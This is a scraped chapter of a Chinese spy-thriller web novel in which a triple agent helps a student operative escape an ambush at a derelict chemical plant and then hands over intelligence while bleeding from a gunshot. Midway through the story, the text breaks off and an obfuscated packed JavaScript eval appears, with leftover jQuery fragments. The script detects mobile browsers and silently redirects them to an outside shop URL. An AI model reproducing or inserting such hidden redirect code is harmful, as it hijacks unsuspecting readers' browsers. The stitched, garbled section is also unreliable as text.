50. 对决前夜

作品:《学生闹翻天3

    星星很亮,月亮很圆。适合决战的夜晚。


    在这个美丽的夜晚,一群人在准备杀人,一群人在准备被杀,而大多数人还在看电视、吃晚饭、计划周末去哪儿玩。


    世界就是这么分裂,这么荒谬。


    但无论如何,对决前夜已经来临。


    时钟在滴答作响。


    每个人都在自己的轨道上,驶向那个不可避免的交汇点。


    尹柏萧最后看了一眼城市,转身下楼。


    他还有教学方案要做,还有计划要完善,还有……一个可能活不过明天的特别女学生要保护。


    生活真他妈忙。黄安妮的人生又像是一部电影,那这一幕的配乐一定是那种悲壮的交响乐,但画面却是她躲在垃圾箱后面,手里拿着对讲机,小声说:“喂?能听到吗?我在B区垃圾箱后面,他们往C区去了——等等,有人在我后面扔香蕉皮!”


    晚上八点三十分,黄安妮和叶馨蒙抵达了与“渔夫”约定的会面地点——城北废弃化工厂的第三车间。这里曾经是生产化肥的地方,现在只剩下一堆生锈的管道和刺鼻的化学气味。


    停好车后黄安妮突然按住叶馨蒙的手:“等一下。”


    叶馨蒙警惕地看着她。


    “我收到了短耳鸮的信息。”黄安妮压低声音,“他说‘渔夫’可能是陷阱。战鹰安排了人在周围埋伏,想测试你会不会把军火情报泄露给瑆洲方面。”


    叶馨蒙的心沉了下去:“那我们为什么还要来?”


    “因为这是唯一获取军火下落的机会。”黄安妮说,“而且……我有个计划。”


    她快速解释:短耳鸮其实在玩双重游戏——他既把这个会面地点泄露给了战鹰(为了让战鹰测试叶馨蒙),也泄露给了瑆洲军方(为了制造混乱)。而黄安妮自己,决定利用这个混乱,帮助叶馨蒙脱身。


    “为什么?”叶馨蒙问,“你不是为爪哇工作吗?也为战鹰工作。为什么帮我?”


    黄安妮沉默了五秒,然后说:“因为我表妹莎莎昨晚又来找我了。”


    叶馨蒙:“……”


    “这次她没聊天。”黄安妮继续说,“她只是递给我一张画。画上有两个人:一个在悬崖边拉另一个人上来。我问她这是什么意思,她说:‘安妮姐,这次拉对人。’”


    一个三重间谍的人生抉择,居然是基于一个死去表妹的梦境画作。


    “所以你觉得我是‘对的人’?”叶馨蒙问。


    “我觉得你至少不是完全错的人。”黄安妮苦笑,“而且说实话,我厌倦了。厌倦了为三个老板打工,厌倦了每天晚上和死人聊天,厌倦了连自己是谁都分不清。”


    她看了看时间:“八点三十五。‘渔夫’约的是八点四十五。我们有十分钟做决定。”


    “什么决定?”


    “我的决定。”黄安妮从口袋里掏出一个小型信号干扰器,“这个可以干扰通讯和监控三分钟。三分钟内,你可以逃走,或者去做你想做的事。我会留下来应付战鹰的人。”


    叶馨蒙震惊地看着她:“你会死的。”


    “可能。”黄安妮耸肩,“但至少我表妹会为我骄傲——也许。或者至少不会每天晚上来烦我了。”


    她顿了顿声音突然变得认真:“听着,我知道你是‘金环蛇’。你在为瑆洲情报部门工作。我不在乎。我只想告诉你一件事:真雪鸮已经和短耳鸮联手了。他们的目标不是军火而是战鹰——他们想趁乱除掉他,接管组织,或者至少捞一笔钱跑路。”


    叶馨蒙消化着这个信息:“那军火……”


    “根本不存在。”黄安妮说,“或者说,存在,但早就被真雪鸮转移了。她一直在用这个做诱饵,引诱战鹰上钩。刘易斯也是她杀的——不是灭口,而是因为他想独吞军火卖给别人。”


    谜团终于解开了一部分。叶馨蒙感到一阵荒谬:她冒着生命危险伪装成雪鸮,而真雪鸮本人正在用同一个诱饵钓更大的鱼。


    “你为什么要告诉我这些?”她问。


    “因为……”黄安妮深吸一口气,“因为我想做一件正确的事。就一件。在我死之前。”


    她看向废弃车间深处,那里隐约有灯光:“还有五分钟。你决定吧:跑,还是进去?”


    叶馨蒙思考了三秒。跑,安全,但任务失败。进去,危险,但可能获取关键情报。


    她选择了进去。


    “好吧。”黄安妮点头,并不意外,“那我的计划是这样的……”


    首先制造混乱


    八点四十分,黄安妮启动了信号干扰器。周围所有的通讯设备——包括战鹰埋伏人员的对讲机、短耳鸮的监听设备、甚至“渔夫”的手机——同时失灵三分钟。


    “现在,”黄安妮说,“我去引开左边那组人。你去车间深处见‘渔夫’。记住:不管他说什么,别完全相信。拿到情报就走,不要恋战。”


    “你怎么办?”


    “我自有办法。”黄安妮露出一个扭曲的笑容,“我可是三重间谍,记得吗?撒谎和逃跑是我的专长。”


    她推开车门,跳出去,故意弄出很大的声音,然后朝左边跑去,边跑边喊:“有埋伏!撤退!”


    果然,左边传来脚步声和低语,埋伏的人被引开了。


    叶馨蒙趁机溜向车间深处。


    车间深处,一个男人站在一堆化学桶旁边,背对着入口。听到脚步声,他转过身。


    “渔夫”大约四十岁,长相普通,穿着工装,看起来真的像个渔民或工人。但叶馨蒙注意到他的手——手指粗壮,虎口有老茧,是长期用枪的标志。


    “拉特娜小姐?”他问,声音沙哑。


    “是我。”叶馨蒙保持距离,“你说你有军火的下落。”


    “我有。”渔夫从口袋里掏出一张折叠的地图,“但我要先确认一件事:你是真货还是假货?”


    叶馨蒙心里一紧:“什么意思?”


    “我听说有个女孩在冒充雪鸮。”渔夫盯着她,“很年轻,很嫩,像个学生。你不是她,对吧?”


    这是测试。叶馨蒙大脑飞速运转。承认?否认?还是……


    她决定冒险:“我是拉特娜·维贾亚。如果你怀疑,可以问我任何问题。”


    渔夫笑了:“好啊。雪鸮的左耳后面有什么?”


    叶馨蒙知道答案——庞教官给的资料里写过:一道三厘米长的刀疤。但她故意说:“什么都没有。我耳朵很干净。”


    渔夫的表情变了:“错。有一道疤。”


    “是吗?”叶馨蒙装作惊讶,“那我可能记错了。毕竟,谁会整天盯着自己的耳朵看?”


    这个回答很巧妙:既承认了“错误”,又暗示对方的问题很无聊。


    渔夫盯着她看了几秒,然后突然大笑:“好吧,我信你了。毕竟,真正的雪鸮也不会承认自己有疤——她会说‘关你屁事’。”


    他递过地图:“军火在这里。龟背岛中部废弃教堂的地下室。坐标我已经标好了。但有个问题:那里有陷阱。真雪鸮设置的,为了防贼。”


    叶馨蒙接过地图,快速扫了一眼。坐标看起来很真实,教堂的位置也和情报吻合。


    “为什么告诉我这些?”她问,“你不是真雪鸮的人吗?”


    “曾经是。”渔夫的表情阴沉下来,“但她杀了我义弟——刘易斯。我以为他们是合作伙伴,结果她把他当棋子,用完了就扔。”


    原来如此。复仇。这动机足够可信。


    “你想要什么?”叶馨蒙问。


    “我想要她死。”渔夫说,“或者至少,付出代价。你把地图交给战鹰,他们会去取军火,触发陷阱,损失惨重。真雪鸮的计划就失败了。”


    “那你呢?”


    “我会消失。”渔夫转身,“我已经拿到了足够的钱。今晚就离开瑆洲。剩下的,你们自己玩吧。”


    他走了几步,又回头:“对了,告诉你那个朋友——黄安妮是吧?——短耳鸮在利用她。战鹰今晚想测试的其实是她,不是你。小心点。”


    说完,他消失在阴影中。


    叶馨蒙站在原地,握着地图,脑子里的信息乱成一团。


    突然,左边传来枪声。


    叶馨蒙立刻冲过去。在车间的一个角落,她看到了黄安妮——被三个男人包围,背靠着墙,手里拿着手枪,但子弹似乎打完了。


    “放下武器!”其中一个男人喊,“战鹰想见你,活的。”


    黄安妮笑了,那笑声在空旷的车间里回荡:“战鹰?那个连自己内裤颜色都要怀疑是不是被下毒的老疯子?”


    “闭嘴!”


    “我偏不。”黄安妮把空枪扔到地上,“告诉你们一个秘密:我是三重间谍。我为爪哇工作,为战鹰工作,还为我死去的表妹工作——虽然她没付我工资。”


    男人们慢慢逼近。


    叶馨蒙躲在管道后面,思考怎么办。她只有一把手枪,对方有三个人,而且可能还有更多。


    她看了看手里的地图,突然有了主意。


    她站出来,大声说:“军火在我这里!”


    所有人的注意力转向她。


    叶馨蒙举起地图:“坐标,陷阱位置,所有信息。放她走,地图给你们。”


    一个男人冷笑:“我们为什么要相信你?”


    “因为如果她死了,”叶馨蒙指向黄安妮,“我就烧掉地图。战鹰需要这批军火,你们知道的。”


    男人们犹豫了。他们互相低语,然后其中一人说:“把地图扔过来。我们检查后,放你们走。”


    “先放她走。”叶馨蒙坚持,“到安全距离,我把地图给你们。”


    僵持。


    就在这时,黄安妮突然动了。她从靴子里抽出一把匕首,刺向最近的男人。男人惨叫倒地,另外两人反应过来,开枪。


    砰砰!


    黄安妮身体一震,但她没停,扑向第二个男人,两人扭打在一起。


    叶馨蒙开枪了——不是瞄准人,而是瞄准他们头顶的管道。生锈的管道断裂,化学液体(天知道是什么)倾泻而下,男人们惊叫着躲开。


    “跑!”黄安妮喊,从扭打中挣脱,冲向叶馨蒙。


    两人一起朝出口跑去。身后是枪声和叫骂声。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937068|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    第四步:逃亡与抉择


    跑出车间,回到车上,黄安妮发动引擎,车子像疯了一样冲出厂区。


    开了五分钟后,确认没有追兵,黄安妮才减速,然后突然咳嗽起来,嘴角渗出鲜血。


    叶馨蒙这才看到,黄安妮的腹部中了一枪,血已经染红了衣服。


    “该死,”黄安妮苦笑,“这套衣服很贵的。”


    “你需要去医院!”叶馨蒙说。


    “去医院就是送死。”黄安妮摇头,“战鹰的人会监视所有医院。而且……我也不想死在医院里。太普通了。”


    她把车停在一个偏僻的路边,熄火,靠在方向盘上,呼吸沉重。


    “地图呢?”她问。


    叶馨蒙拿出地图。黄安妮看了一眼,笑了:“假的。”


    “什么?”


    “坐标是假的。”黄安妮指着地图,“这个教堂根本不存在。‘渔夫’在骗你——或者,他在骗战鹰。真雪鸮可能给了他假情报,让他当替死鬼。”


    一场生死逃亡,换来的是一张假地图。


    “那我们现在怎么办?”叶馨蒙问。


    黄安妮从口袋里掏出一个小型U盘,递给叶馨蒙:“这里面才是真东西。战鹰组织的完整成员名单、行动记录、资金流向。我花了三年收集的。本来想卖个好价钱,现在……给你吧。”


    叶馨蒙接过U盘,感到手里沉甸甸的。


    “为什么?”她又问了一遍。


    黄安妮看着窗外,夜色深沉:“因为我表妹说得对。这次,我想拉对的人。”


    她顿了顿,声音越来越弱:“送我回城西。我知道一个地方,黑市医生,不问问题。然后你……去做你该做的事。”


    “你怎么办?”


    “我?”黄安妮笑了,“如果我能活下来,我就退休。去一个没人认识我的地方,开个小店,卖……卖什么呢?算了,到时候再想。”


    “如果活不下来呢?”


    “那就活不下来呗。”黄安妮耸肩,但动作牵动了伤口,疼得龇牙咧嘴,“至少这次,我做了选择。不是被迫的,是我自己选的。”


    她看向叶馨蒙,眼神突然变得认真:“告诉瑆洲方面:真雪鸮和短耳鸮的目标不只是战鹰。他们想制造混乱,趁乱拿走一批被军方扣押的高科技装备——就在圣保罗医院地下三层。那才是真正的‘军火’。”


    叶馨蒙震惊:“你怎么知道?”


    “因为我为三个老板工作,记得吗?”黄安妮苦笑,“信息是唯一的硬通货。我知道很多事,但从来没告诉过任何人。现在……现在可以说了。”


    她靠在座椅上,闭上眼睛:“开车吧。我有点累,想睡一会儿。”


    叶馨蒙启动车子,朝城西驶去。后座上,黄安妮的呼吸渐渐平稳,但脸色越来越苍白。


    夜色中,城市灯火通明。人们还在过着自己的生活:吃饭、看电视、吵架、相爱。没人知道,在这辆不起眼的轿车里,一个三重间谍正在流血,而一个高中生特工正在赶往下一个战场。


    黄安妮可能活不过今晚,但她至少做出了选择——不是为了国家,不是为了正义,甚至不是为了赎罪。


    只是为了告诉死去的表妹:这次,我拉对人了。


    为了这个理由,值得中一枪。


    值得死。


    车子驶过一盏路灯,灯光在黄安妮脸上划过。她突然睁开眼睛,轻声说:


    “你知道吗,我表妹最喜欢画星空。她说星星看起来很近,其实很远。就像人和人一样。”


    叶馨蒙没说话。


    “但我现在觉得,”黄安妮继续说,“有时候,人和人也可以很近。就像现在,我们坐在一辆车里,你开车,我流血,但我们都在做自己选择的事。”


    她又笑了:“这感觉……还不错。”


    然后她闭上眼睛,这次真的睡着了。


    叶馨蒙握着方向盘,看着前方的路。


    U盘在口袋里,地图在座位上,信息在脑子里。


    还有48小时。


    不,现在可能只有36小时了。


    对决前夜,一个三重间谍选择了站在她这边。


    这算是个好消息。


    幽默的好消息。


    她踩下油门,车子加速驶向黑暗。


    而在城市的另一端,真雪鸮和短耳鸮正在看着监控屏幕,上面显示着废弃化工厂的混乱场景。


    “黄安妮反水了。”短耳鸮说。


    “意料之中。”真雪鸮微笑,“她一直想做个好人,只是没机会。现在她有了。”


    “那个假货呢?”


    “她会来的。”真雪鸮看向窗外,“带着假地图,带着真情报,带着一腔热血。年轻人总是这样。”


    她端起酒杯:“为了混乱。”


    短耳鸮也端起酒杯:“为了养老金。”


    两人碰杯。


    决战即将开始。


    而黄安妮,在睡梦中,终于不再梦见表妹。


    她梦见了一片星空。


    很近,很亮。


    像从未有过的自由。